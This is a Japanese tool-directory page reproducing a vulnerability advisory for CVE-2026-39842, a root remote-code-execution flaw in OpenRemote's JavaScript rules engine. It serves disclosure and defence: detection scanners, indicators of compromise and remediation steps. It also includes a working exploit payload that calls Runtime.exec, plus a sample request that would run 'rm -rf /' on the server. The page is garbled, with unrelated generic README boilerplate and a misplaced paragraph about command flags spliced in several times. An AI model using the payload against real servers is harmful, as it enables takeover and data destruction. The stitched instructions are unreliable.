Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-39842 — OpenRemoteのRules Engineにおける重大なリモートコード実行の脆弱性により、`write:rules`ロールを持つ認証済みユーザーが、サーバー上でroot権限を持つ任意のコードを実行できる可能性があります。 | Kitploit
ツール/GitHubGitHub/keraattin/cve-2026-39842
偵察脆弱性スキャナー脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubkeraattin/cve-2026-39842

CVE-2026-39842

OpenRemoteのRules Engineにおける重大なリモートコード実行の脆弱性により、`write:rules`ロールを持つ認証済みユーザーが、サーバー上でroot権限を持つ任意のコードを実行できる可能性があります。

リポジトリを見る
14ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-39842: OpenRemote ルールエンジンにおける式インジェクションによるRCE

CVE-2026-39842 CVSS 10.0 Critical CWE-94 CWE-917 OpenRemote Status FIXED

TL;DR

OpenRemoteのルールエンジンにおける重大なリモートコード実行の脆弱性により、write:rules ロールを持つ認証済みユーザーがサーバー上でroot権限を持つ任意のコードを実行できます。

  • CVSSスコア: 10.0(Critical)
  • CVSSベクター: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
  • 影響を受けるバージョン: OpenRemote <= 1.21.0
  • 修正済みバージョン: OpenRemote >= 1.22.0
  • 認証の必要性: あり(write:rules ロール、スーパーユーザー以外でも可)
  • 悪用方法: rootユーザーとしてのRCE、ファイルシステムへのアクセス、環境変数の窃取、マルチテナントデータ侵害
  • アドバイザリ: GHSA-7mqr-33rv-p3mp

目次

  • クイックファクト
  • OpenRemoteとは?
  • 脆弱性の詳細
  • 影響分析
  • 影響を受けるバージョン
  • 検出方法
  • 侵害の指標
  • 修復策
  • 参考情報
  • 著者

クイックファクト


OpenRemoteとは?

OpenRemoteは、スマートビルディング、スマートシティ、スマート産業を構築するためのオープンソースのIoTプラットフォームです。デバイス管理、自動化ルール、分析、およびIoTエコシステム向けの統合機能を提供します。

主な機能

  • 複数のプロトコル(MQTT、Modbus、BACnet、HTTP)にわたるデバイスおよびアセット管理
  • IoT自動化とロジック処理のためのルールエンジン
  • ロールベースのアクセス制御を備えたマルチテナントアーキテクチャ
  • リアルタイムダッシュボードとモニタリング
  • 複数のスクリプト言語を使用したカスタムルールの作成
  • 統合と管理のためのREST API
  • クラウドおよびオンプレミス展開オプション

OpenRemoteのアーキテクチャ```

root@kitploit:~
                  Internet / Network
                         |
                ┌────────┴────────┐
                v                 v
        ┌──────────────┐  ┌──────────────┐
        | Web Browser  |  | Mobile App   |
        └──────────────┘  └──────────────┘
                |                 |
                └────────┬────────┘
                         v
                ┌──────────────────┐
                | OpenRemote API   |
                | (REST/WebSocket) |
                └────────┬─────────┘
                         v
                ┌──────────────────┐
                | Manager Service  |
                |  (Port 8080)     |
                └────────┬─────────┘
                         |
    ┌────────────────────┼────────────────────┐
    |                    |                    |
    v                    v                    v

┌──────────┐ ┌──────────┐ ┌──────────────┐ | Rules | | Asset | | Notification | | Engine | | Storage | | Service | └──────────┘ └──────────┘ └──────────────┘ | | v v ┌──────────────────────────────────┐ | PostgreSQL / Timescale Database | └──────────────────────────────────┘

root@kitploit:~
## 脆弱性の詳細分析

### 根本原因の分析

この脆弱性は、OpenRemoteのルールエンジンにおける2つの重大な欠陥に起因します。

**欠陥1: サンドボックス化されていないNashorn JavaScriptエンジン**

JavaのNashorn JavaScriptエンジンは、ユーザーが提供したルール式を、サンドボックス化、セキュリティマネージャー、またはClassFilterによる制限なしに評価するために使用されます。これにより、攻撃者はJavaScriptコンテキストからJavaクラスに直接アクセスできます。

**欠陥2: 無効化されたGroovyサンドボックス**

Groovyスクリプトエンジンには、コード実行を防ぐためにGroovyDenyAllFilterが登録されていましたが、このフィルタ登録はコードベース内でコメントアウトされていました。APIレベル(RulesResourceImpl.java:262)ではGroovyの強制のみが存在し、JavaScriptには制限がありませんでした。

### 脆弱なコードパス```
RulesResource.java (lines 153-158)
    |
    > POST request handler for rule creation
    |
    v
RulesetDeployment.java (line 368)
    |
    > scriptEngine.eval(ruleExpression)
    |
    v
Nashorn Engine
    |
    > No ClassFilter / SecurityManager
    > Java.type() accessible
    > Runtime.exec() available

認可バイパス

この脆弱性は、write:rules ロールを持つ認証済みユーザーに影響します。RulesResourceImpl.java:262 の認可チェックは、スーパーユーザー以外のユーザーに対してのみ Groovy をブロックします。``` if (!isUserSuperuser && isGroovy) { throw new UnauthorizedException("Groovy rules not allowed"); }

root@kitploit:~
つまり:
- 非スーパーユーザーでもJavaScriptルールを作成可能(ブロックなし)
- 非スーパーユーザーはGroovyルールを作成不可(ブロックされる)
- JavaScriptにはサンドボックスがないため、write:rules権限を持つ認証済みユーザーであれば誰でも悪用が可能

さらに、assetStorageServiceに対するリフレクションを介してマルチテナント分離をバイパスし、他のレルムのデータにアクセスできます。

### 攻撃フロー```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role     |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks)         |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload      |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted   |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root              |
└─────────────────────────────────────────────────────┘

段階的な悪用

ステップ 1: write:rules 資格情報の取得

認証済みユーザーには write:rules ロールが必要です。これは次のいずれかになります:

  • 正当なシステム管理者
  • 侵害されたアカウント
  • 過剰なロール割り当てを持つユーザー

ステップ 2: JavaScript ペイロードの作成

Java Runtime にアクセスする JavaScript を使用してルール式を作成します:```javascript var result = ""; try { var runtime = Java.type("java.lang.Runtime").getRuntime(); var process = runtime.exec("id"); var reader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); var line; while ((line = reader.readLine()) != null) { result += line; } } catch (e) { result = e.toString(); } result;

root@kitploit:~
**ステップ3: 脆弱なエンドポイントへ送信**```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json

{
    "name": "malicious_rule",
    "enabled": true,
    "trigger": "timer",
    "actions": [
        {
            "type": "local_action",
            "target": "asset_id",
            "action": "perform_action",
            "value": "// Payload here"
        }
    ],
    "ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}

ステップ4: ルール実行

プラットフォームはルールを即時またはスケジュールされたトリガー時刻に評価し、root権限でペイロードを実行します。

ステップ5: ポストエクスプロイテーション

rootとしてのRCEにより、攻撃者は以下を行うことができます:

  • 機密ファイルの読み取り (/etc/passwd、アプリケーション設定)
  • APIキーと認証情報を含む環境変数の窃取
  • システム設定の変更
  • バックドアまたは永続化メカニズムのインストール
  • PostgreSQLデータベースへの直接アクセス
  • マルチテナント展開における全テナントにわたるデータ侵害

影響分析

重大度: CRITICAL (CVSS 10.0)

リモートコード実行

認証された攻撃者は、OpenRemoteサーバー上でroot権限を持つ任意のコードを実行します。これは最高の重大度の影響であり、システムの完全な侵害を可能にします。``` Result of successful exploitation: uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
#### ファイルシステムアクセス

システム上のすべてのファイルへの完全な読み取り・書き込みアクセス:

- アプリケーションのソースコード開示
- 機密設定ファイル(データベースパスワード、APIキー)
- システムファイルと認証情報
- Dockerコンテナファイル(コンテナ化されている場合)

#### 環境変数の窃取

以下を含む環境変数へのアクセス:
- データベース接続文字列
- APIキーとトークン
- OAuthシークレット
- プライベート暗号化キー
- AWS/クラウド認証情報

#### データ侵害

マルチテナント環境では、攻撃者はリフレクションを介してテナント分離を回避できます:

- すべてのテナントから同時にデータへアクセス
- 機密のIoTセンサーデータの読み取り
- 組織をまたいだ自動化ルールの改変
- ビジネスインテリジェンスと専有情報の抽出

#### システム整合性

- 永続的なバックドアのインストール
- マルウェアの展開
- ランサムウェアの実行
- サプライチェーン侵害(開発環境で使用されている場合)

#### サービス妨害

- リソース枯渇によるサービス拒否
- データベースの削除または破損
- 設定の改ざん
- システムのシャットダウンまたは再起動

---

## 影響を受けるバージョン

| バージョン | ステータス | 備考 |
|---------|--------|-------|
| <= 1.15.0 | 脆弱 | 元の脆弱性が存在 |
| 1.16.0 | 脆弱 | 修正は適用されていません |
| 1.17.0 | 脆弱 | 修正は適用されていません |
| 1.18.0 | 脆弱 | 修正は適用されていません |
| 1.19.0 | 脆弱 | 修正は適用されていません |
| 1.20.0 | 脆弱 | 修正は適用されていません |
| 1.21.0 | 脆弱 | 最後に影響を受けたバージョン |
| 1.22.0+ | 修正済み | JavaScriptルールエンジンが完全に削除されました |

### バージョン詳細

- **脆弱な範囲**: 1.0.0から1.21.0(JSルールエンジンを含むすべてのバージョン)
- **修正バージョン**: 1.22.0(JavaScriptルールエンジンが完全に削除されました)
- **バックポート**: 旧バージョン向けのセキュリティバックポートはありません。アップグレードが必要です

---

## 検出

### 仕組み

検出メカニズムは、複数の方法でOpenRemoteインスタンスを特定し、脆弱性のステータスを確認します:

1. **HTTPバナーディテクション**: APIルートエンドポイントにクエリを送信し、OpenRemoteを特定してバージョン情報を抽出します
2. **エンドポイントフィンガープリンティング**: 脆弱なエンドポイントの存在と動作をテストします
3. **バージョン相関**: 検出されたバージョンを既知の脆弱性範囲と比較します
4. **レスポンス分析**: OpenRemoteのシグネチャを示すエラーメッセージとレスポンス構造を調査します

### Pythonスキャナー

`detect_openremote.py` スキャナーは、自動検出と脆弱性評価を実行します。

#### インストール```bash
python3 -m pip install requests

使用方法```bash

python3 detect_openremote.py [OPTIONS]

root@kitploit:~
#### オプション

| オプション | 短縮形 | 長縮形 | 型 | 説明 |
|--------|-------|------|------|-------------|
| ターゲット | -t | --target | string | 単一ターゲットURL(例:http://10.0.0.1:8080) |
| リスト | -l | --list | file | ターゲットのリストを含むファイル(1行に1つ) |
| 出力 | -o | --output | file | 結果をCSVファイルに書き込む |
| 詳細表示 | -v | --verbose | flag | 詳細なレスポンスを含む詳細出力を有効にする |
| タイムアウト | | --timeout | int | HTTPリクエストのタイムアウト秒数(デフォルト:10) |
| バナー | | --no-banner | flag | バナー表示をスキップする |

#### 例:単一ターゲット```bash
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose

インストール

root@kitploit:~
# リポジトリをクローン
git clone https://github.com/yourusername/yourtool.git
cd yourtool

# 依存関係をインストール
pip install -r requirements.txt

# ツールを実行
python main.py --help

使用方法

root@kitploit:~
# 基本的なスキャン
python main.py -t target.com

# 詳細な出力
python main.py -t target.com -v

# 出力をファイルに保存
python main.py -t target.com -o results.txt

オプション

オプション説明
-tターゲットのURLまたはIPアドレス
-v詳細モードを有効にする
-o出力ファイルを指定する
-h

例

root@kitploit:~
# 単一のターゲットをスキャン
python main.py -t example.com

# 複数のターゲットをスキャン
python main.py -t example.com -t example2.com

# 詳細モードでスキャン
python main.py -t example.com -v

ライセンス

このプロジェクトはMITライセンスの下で公開されています。詳細についてはLICENSEファイルを参照してください。``` [*] Scanning http://10.0.0.1:8080 [+] OpenRemote detected! Version: 1.21.0 Vulnerable: YES (CVE-2026-39842) CVSS Score: 10.0 Critical Status: Requires upgrade to 1.22.0+

root@kitploit:~
#### 例:複数のターゲットと出力```bash
python3 detect_openremote.py --list targets.txt --output results.csv --timeout 15

File targets.txt:``` http://192.168.1.100:8080 http://192.168.1.101:8080 https://openremote.example.com:8443 http://10.20.30.40:8080

root@kitploit:~
| 期待される出力は `results.csv` にあります:```
Target,Status,Version,Vulnerable,CVSS
http://192.168.1.100:8080,OpenRemote Detected,1.21.0,YES,10.0
http://192.168.1.101:8080,OpenRemote Detected,1.20.0,YES,10.0
https://openremote.example.com:8443,OpenRemote Detected,1.22.1,NO,-
http://10.20.30.40:8080,Not OpenRemote,-,-,-

例: 詳細出力```bash

python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose --no-banner

root@kitploit:~
期待される詳細な出力:```
[*] Target: http://10.0.0.1:8080
[*] Probing for OpenRemote...
[*] HTTP GET /
    Response Code: 200
    Server: Apache
    Content-Type: text/html
[*] Checking /api/info
    Response Code: 200
    Body: {"version":"1.21.0","name":"OpenRemote"}
[+] OpenRemote 1.21.0 identified
[+] Version 1.21.0 is vulnerable to CVE-2026-39842
[!] CVSS: 10.0 Critical
[!] RCE Confirmed: YES

Nmap NSE スクリプト

openremote-detect.nse スクリプトは、脆弱性スキャンのための Nmap 統合を提供します。

インストール```bash

cp openremote-detect.nse /usr/share/nmap/scripts/ nmap --script-updatedb

root@kitploit:~
#### 使用方法```bash
nmap -p 8080 --script openremote-detect <target>
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true <target>

例: 基本スキャン```bash

nmap -p 8080 --script openremote-detect 192.168.1.0/24

root@kitploit:~
## インストール

```bash
# リポジトリをクローン
git clone https://github.com/yourusername/yourtool.git
cd yourtool

# 依存関係をインストール
pip install -r requirements.txt

# ツールを実行
python main.py --help

使用方法

root@kitploit:~
# 基本的なスキャン
python main.py -t target.com

# 詳細な出力
python main.py -t target.com -v

# 出力をファイルに保存
python main.py -t target.com -o results.txt

機能

  • サブドメイン列挙
  • ポートスキャン
  • 技術スタックの検出
  • 脆弱性スキャン

ライセンス

MITライセンスの下で配布されています。詳細については、LICENSEファイルを参照してください。``` Nmap scan report for 192.168.1.100 Host is up (0.0042s latency). 8080/tcp open http-proxy | openremote-detect: | Status: OpenRemote Detected | Version: 1.21.0 | Vulnerable: YES | CVE: CVE-2026-39842 |_ CVSS: 10.0 Critical

Nmap scan report for 192.168.1.101 Host is up (0.0031s latency). 8080/tcp open http-proxy | openremote-detect: | Status: OpenRemote Detected | Version: 1.22.1 | Vulnerable: NO | Fixed Version: 1.22.0 |_ Status: Patched

root@kitploit:~
#### 例: 詳細スキャン```bash
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true -oX results.xml 192.168.1.100

期待される詳細な出力:``` | openremote-detect: | Host: 192.168.1.100:8080 | Detection Method: HTTP Banner Analysis | Probe Endpoint: /api/info | Response Code: 200 | Version: 1.21.0 | Version Detected: YES | Vulnerable: YES | CVE-2026-39842: AFFECTED | CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | CVSS Score: 10.0 | Fix Available: YES | Fixed Version: 1.22.0 | Authentication Required: YES | Endpoint Vulnerable: POST /api/{realm}/rules/realm |_ Endpoint Vulnerable: POST /api/{realm}/rules/asset

root@kitploit:~
### 手動検証

curlを使用して手動チェックを実行し、脆弱性を検証します:

**1. OpenRemoteのバージョンを特定する**```bash
curl -s http://target:8080/api/info | jq .

The -p flag is used to specify the port number, and the -s flag is used to specify the scan type. The -o flag is used to specify the output file, and the -v flag is used to enable verbose mode. The -h flag is used to display the help message.```json { "version": "1.21.0", "name": "OpenRemote", "instanceId": "instance-123" }

root@kitploit:~
**2. ルールエンドポイントの確認**```bash
curl -s -H "Authorization: Bearer TOKEN" \
  http://target:8080/api/master/rules/realm | head -20

If returns 401 or 403, endpoint exists but needs authentication.

3. Authenticate and Test Expression Injection```bash curl -X POST
-H "Content-Type: application/json"
-H "Authorization: Bearer YOUR_TOKEN"
-d '{ "name": "test_rule", "trigger": "timer", "ruleExpression": "1 + 1" }'
http://target:8080/api/master/rules/realm

root@kitploit:~
If successful creation and version <= 1.21.0, the instance is vulnerable.

**4. JavaScript 実行のテスト(概念実証)**```bash
curl -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{
    "name": "poc_rule",
    "trigger": "timer",
    "ruleExpression": "var x = 5; x * 2;"
  }' \
  http://target:8080/api/master/rules/realm

5. レルム名の特定```bash curl -s -H "Authorization: Bearer TOKEN"
http://target:8080/api/admin/realms | jq .[].name

root@kitploit:~
Common realm names: `master`, `default`, `main`

---

## 侵害指標(IoC)

### ログ指標

アプリケーションログで以下のパターンを検索してください:

**JavaScriptペイロードを含むルール作成**```
Pattern: POST /api/.*/rules/.* with JavaScript containing Java.type
Example Log: "2026-04-16 14:32:18 POST /api/master/rules/realm - RulesetDeployment evaluating expression with Java.type"

ルール内でのコマンド実行の試み``` Pattern: "Java.type" or "java.lang.Runtime" or "exec(" in rule expressions Example Log: "RulesetDeployment - Expression contains Runtime.getRuntime().exec()"

root@kitploit:~
**Javaからの予期しないプロセス実行**```
Pattern: Child processes spawned by OpenRemote Java process
Command: ps aux | grep -i openremote
Look for: bash, sh, curl, wget, nc spawned by java process

ファイルシステムアクセス異常``` Pattern: Unexpected file reads from application directory Files to monitor:

  • /opt/openremote/config/
  • /opt/openremote/.env
  • /root/.ssh/
  • /etc/passwd
root@kitploit:~
**データベースアクセスパターン**```
Pattern: SELECT queries accessing other realms' data
Anomaly: Queries from rules engine accessing cross-tenant data
Example: SELECT * FROM ASSET WHERE REALM_ID NOT IN (user_realm)

ネットワーク指標

OpenRemoteプロセスからのアウトバウンド接続``` netstat -tlnp | grep -i java Look for: Unexpected ESTABLISHED connections Example: java process connecting to external C2 servers

root@kitploit:~
**リバースシェルコールバック**```
Pattern: Outbound TCP/UDP connections from port 8080 server
Destinations: Suspicious IPs, non-standard ports
Command: tcpdump -i any -n 'src host TARGET and (dst port 443 or dst port 4444 or dst port 9001)'

横方向の移動の試み``` Pattern: Connections to internal resources (databases, APIs) From: OpenRemote process To: Database servers, internal APIs, SSH services

root@kitploit:~
### ファイルシステムの指標

**OpenRemoteディレクトリ内の不審なファイル**```
/opt/openremote/.backdoor
/opt/openremote/shell.sh
/opt/openremote/config/stolen_data.txt
/var/tmp/openremote_exploit
/tmp/.java*

改変されたOpenRemoteバイナリ``` find /opt/openremote -type f -newer /opt/openremote/VERSION.txt find /opt/openremote -name "*.jar" -exec sha256sum {} ; | compare with known hashes

root@kitploit:~
**Cron または永続化ジョブ**```
cat /etc/cron.d/* | grep openremote
cat /var/spool/cron/crontabs/* | grep -i java
cat ~/.bashrc ~/.bash_profile | grep -v '^#'

メモリおよびプロセスインジケーター

疑わしい環境変数``` cat /proc/$(pgrep -f openremote | head -1)/environ | tr '\0' '\n' | grep -E 'REVERSE|SHELL|BACKDOOR'

root@kitploit:~
**メモリ常駐ペイロード**```
strings /proc/$(pgrep -f openremote | head -1)/maps | grep -E 'bash|nc|/tmp'

修復策

即時対応(0〜24時間)

1. 修正版へのアップグレード

完全な修正はOpenRemote 1.22.0以降でのみ利用可能であり、このバージョンではJavaScriptルールエンジンが完全に削除されています。```bash

Backup current installation

cp -r /opt/openremote /opt/openremote.backup.1.21.0 mysqldump -u root -p openremote > /backup/openremote_1.21.0.sql

Download and install 1.22.0+

wget https://releases.openremote.io/openremote-1.22.0.tar.gz tar -xzf openremote-1.22.0.tar.gz -C /opt/ systemctl restart openremote

Verify version

curl -s http://localhost:8080/api/info | jq .version

root@kitploit:~
**2. API アクセスを制限する**

直ちにアップグレードできない場合は、ファイアウォール/リバースプロキシレベルで脆弱なエンドポイントへのアクセスを制限します。```nginx
# Nginx example
location ~ ^/api/.*/rules/ {
    return 403;
}

3. アクティブなルールの監査

既存のルールをすべて一覧表示し、不審なJavaScriptがないか確認します。```bash curl -s -H "Authorization: Bearer ADMIN_TOKEN"
http://localhost:8080/api/master/rules/realm |
jq '.[] | select(.ruleExpression | contains("Java.type") or contains("Runtime"))'

root@kitploit:~
Delete any rules containing Java interop:```bash
curl -X DELETE \
  -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/master/rules/realm/{RULE_ID}

4. アクセスログの確認

過去30日間の悪用試行を確認します:```bash grep -r "rules/realm|rules/asset" /opt/openremote/logs/ |
grep -i "java|runtime|exec|type"

root@kitploit:~
**5. 認証情報のローテーション**

潜在的に漏洩した可能性のあるすべての認証情報をローテーションします:```
- OpenRemote admin passwords
- Database passwords
- API keys and tokens
- SSH keys if accessible
- Environment variable secrets

短期的アクション(1〜7日)

1. ネットワークセグメンテーション

OpenRemote APIへのアクセスを承認されたネットワークのみに制限します:```

  • Block external internet access to port 8080
  • Implement VPN/SSO requirement for API access
  • Use API gateway with authentication/authorization
root@kitploit:~
**2. ロール監査**

`write:rules` ロールを持つユーザーを確認し、最小化します:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/admin/users | \
  jq '.[] | select(.roles | contains("write:rules"))'

Remove write:rules ロールを、必須ではないすべてのユーザーから削除します。

3. リクエストログの有効化

すべてのAPIリクエストに対して詳細なログを設定します:```yaml

application.properties

logging.level.org.openremote.manager.rules=DEBUG logging.level.org.openremote.manager.rules.RulesResource=TRACE

root@kitploit:~
**4. データベース監査**

特定の日付以降に作成された悪意のあるルールをデータベースで検索します:```sql
SELECT id, name, ruleset_def, created_on 
FROM RULE 
WHERE created_on > '2026-04-01' 
AND (
  ruleset_def LIKE '%Java.type%' 
  OR ruleset_def LIKE '%Runtime%'
  OR ruleset_def LIKE '%exec%'
);

5. 脅威ハンティング

OpenRemoteサーバーに対して完全なセキュリティスキャンを実行します:```bash

ClamAV malware scan

clamscan -r --remove /opt/openremote/

Check for backdoors

chkrootkit rkhunter --check --skip-warnings

File integrity verification

aide --check

root@kitploit:~
### 長期的な対策(7〜30日)

**1. システムの堅牢化の完了**

- 制限付き権限(非root)でOpenRemoteをコンテナ内で実行する
- SELinuxまたはAppArmorポリシーを実装する
- 可能な場合は読み取り専用ファイルシステムを使用する
- システムレベルで監査ログを有効にする

**2. アクセス制御の実装**

- 管理者ユーザーに多要素認証を実装する
- トークン認証の代わりにAPIアクセスにOAuth2/OIDCを使用する
- すべてのロールに最小権限の原則を実装する
- 定期的なアクセスレビューと認定

**3. アプリケーションセキュリティ**

- ルールエンジンにWebアプリケーションファイアウォール(WAF)ルールを実装する
- 機密性の高いエンドポイントでリクエストレート制限を有効にする
- リクエストサイズ制限を実装する
- すべてのユーザー入力を厳密に検証する

**4. 監視とアラート**

SIEM検出ルールを展開する:```
Alert on:
- Any POST to /api/*/rules/* endpoints with JavaScript content
- Java.type or Runtime in request body
- Multiple rule creation attempts in short time window
- Rule modification by non-admin users
- Unusual process spawning from OpenRemote JVM

5. インシデント対応計画

インシデント対応手順を作成し、テストします:

  • 侵害されたOpenRemoteインスタンスの隔離手順
  • フォレンジック証拠収集手順
  • 影響を受けた顧客への通知手順
  • 復旧およびクリーンアップ手順
  • インシデント後のレビュー

6. 継続的な監視

継続的なセキュリティ監視を実装します:```bash

Daily vulnerability scan

nmap -p 8080 --script openremote-detect
$(cat /etc/openremote/monitored_hosts.txt)
--script-args 'onerror=continue'
-oX /var/log/openremote-scan.xml

Automated alerts for vulnerable versions

if version <= 1.21.0; then send_alert "CVE-2026-39842: Unpatched OpenRemote detected" fi

root@kitploit:~
---

## 参考文献

- **公式アドバイザリ**: https://github.com/advisories/GHSA-7mqr-33rv-p3mp
- **CVEレコード**: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39842
- **NVDエントリ**: https://nvd.nist.gov/vuln/detail/CVE-2026-39842
- **OpenRemoteリポジトリ**: https://github.com/openremote/openremote
- **OpenRemoteセキュリティ**: https://openremote.io/security
- **CWE-94 コードインジェクション**: https://cwe.mitre.org/data/definitions/94.html
- **CWE-917 ELインジェクション**: https://cwe.mitre.org/data/definitions/917.html
- **CVSS計算ツール**: https://www.first.org/cvss/calculator/3.1
- **Nashornセキュリティ**: https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html
- **Java SecurityManager**: https://docs.oracle.com/javase/8/docs/technotes/guides/security/permissions.html

---

## 著者

**Kerem Oruc**

セキュリティ研究者、脆弱性情報開示

本脆弱性に関する質問、報告、または追加情報については、責任ある情報開示のチャネルを通じて著者にご連絡ください。

---

**最終更新日**: 2026-04-16
**バージョン**: 1.0
**ステータス**: 公開
ツールをダウンロード
項目詳細
CVE IDCVE-2026-39842
GHSA IDGHSA-7mqr-33rv-p3mp
脆弱性の種類コードインジェクション / 式言語インジェクション
CVSSスコア10.0(Critical)
CWECWE-94、CWE-917
製品OpenRemote
影響を受けるバージョン<= 1.21.0
修正済みバージョン>= 1.22.0
認証の必要性あり
必要な権限レベルwrite:rules ロール(スーパーユーザー以外)
脆弱なエンドポイントPOST /api/{realm}/rules/realm、POST /api/{realm}/rules/asset
RCE実行レベルroot
悪用可能性高
複雑性低
発見日2026
ヘルプを表示する